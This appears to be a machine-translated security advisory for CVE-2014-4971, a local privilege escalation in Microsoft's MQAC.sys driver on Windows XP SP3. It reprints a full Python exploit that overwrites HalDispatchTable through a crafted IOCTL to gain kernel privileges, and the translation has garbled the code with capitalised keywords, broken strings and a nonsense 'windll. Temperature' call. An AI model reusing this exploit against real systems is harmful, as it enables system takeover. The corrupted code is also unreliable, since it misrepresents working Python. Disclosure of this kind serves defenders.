Arbitrary memory write permission Escalation Vulnerability for multiple Microsoft products

Arbitrary memory write permission Escalation Vulnerability for multiple Microsoft products

Release date:
Updated on:

Affected Systems:
Microsoft Windows XP SP3
Microsoft Bluetooth Personal Area Networking 5.1.2600.5512
Microsoft MQ Access Control 5.1.0.1110
Description:
--------------------------------------------------------------------------------
Bugtraq id: 68764
CVE (CAN) ID: CVE-2014-4971
 
Microsoft is a multinational computer technology company headquartered in the United States.
 
Multiple Microsoft products (such as Bluetooth Personal Area Networking and MQ Access Control) have multiple permission Escalation Vulnerabilities. These vulnerabilities are derived from MQAC. sys and BthPan. by sending specially crafted IOCTL requests, local attackers can exploit this vulnerability to inject memory to any location, write data, and obtain kernel-level permissions.
 
<* Source: Matt Bergin

Link: http://www.exploit-db.com/exploits/34112/
Http://xforce.iss.net/xforce/xfdb/94753
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/python2
#
# KL-001-2014-003: Microsoft XP SP3 MQAC. sys Arbitrary Write Privilege Escalation
# Matt Bergin (KoreLogic/Smash the Stack)
# CVE-2014-4971
#
From ctypes import *
From struct import pack
From OS import getpid, system
From sys import exit
EnumDeviceDrivers, GetDeviceDriverBaseNameA, CreateFileA, NtAllocateVirtualMemory, WriteProcessMemory, LoadLibraryExA = windll. psapi. enumDeviceDrivers, windll. psapi. getDeviceDriverBaseNameA, windll. kernel32.CreateFileA, windll. ntdll. ntAllocateVirtualMemory, windll. kernel32.WriteProcessMemory, windll. kernel32.LoadLibraryExA
GetProcAddress, DeviceIoControlFile, NtQueryIntervalProfile, CloseHandle = windll. Temperature, windll. ntdll. ZwDeviceIoControlFile, windll. ntdll. NtQueryIntervalProfile, windll. kernel32.CloseHandle
INVALID_HANDLE_VALUE, file_cmd_read, file_cmd_write, OPEN_EXISTING, NULL =-1, 2, 1, 3, 0

# Thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
Def getBase (name = None ):
RetArray = c_ulong * 1024
ImageBase = retArray ()
Callback = c_int (1024)
CbNeeded = c_long ()
EnumDeviceDrivers (byref (ImageBase), callback, byref (cbNeeded ))
For base in ImageBase:
DriverName = c_char_p ("\ x00" * 1024)
GetDeviceDriverBaseNameA (base, driverName, 48)
If (name ):
If (driverName. value. lower () = name ):
Return base
Else:
Return (base, driverName. value)
Return None

Handle = CreateFileA ("\\\\\\ MQAC", file_0000_write | file_0000_read, 0, None, OPEN_EXISTING, 0, None)
Print "[+] Handle \. \ MQAC @ % s" % (handle)
NtAllocateVirtualMemory (-1, byref (c_int (0x1), 0x0, byref (c_int (0 xffff), 0x1000 | 0x2000,0x40)
Buf = "\ x50 \ x00 \ x00 \ x00" + "\ x90" x 0x400
WriteProcessMemory (-1, 0x1, "\ x90" * 0x6000, 0x6000, byref (c_int (0 )))
WriteProcessMemory (-1, 0x1, buf, 0x400, byref (c_int (0 )))
WriteProcessMemory (-1, 0x5000, "\ xcc", 77, byref (c_int (0 )))
# Overwrite Pointer
KBase, kVer = getBase ()
HKernel = LoadLibraryExA (kVer, 0, 1)
HalDispatchTable = GetProcAddress (hKernel, "HalDispatchTable ")
HalDispatchTable-= hKernel
HalDispatchTable + = kBase
HalDispatchTable + = 0x4
Print "[+] Kernel @ % s, HalDispatchTable @ % s" % (hex (kBase), hex (HalDispatchTable ))
DeviceIoControlFile (handle, NULL, byref (c_ulong (8), 0x1965020f, 0x258, HalDispatchTable, 0)
Print "[+] HalDispatchTable + 0x4 overwritten"
CloseHandle (handle)
NtQueryIntervalProfile (c_ulong (2), byref (c_ulong ()))
Exit (0)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Microsoft
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://technet.microsoft.com/security/bulletin/

This article permanently updates the link address: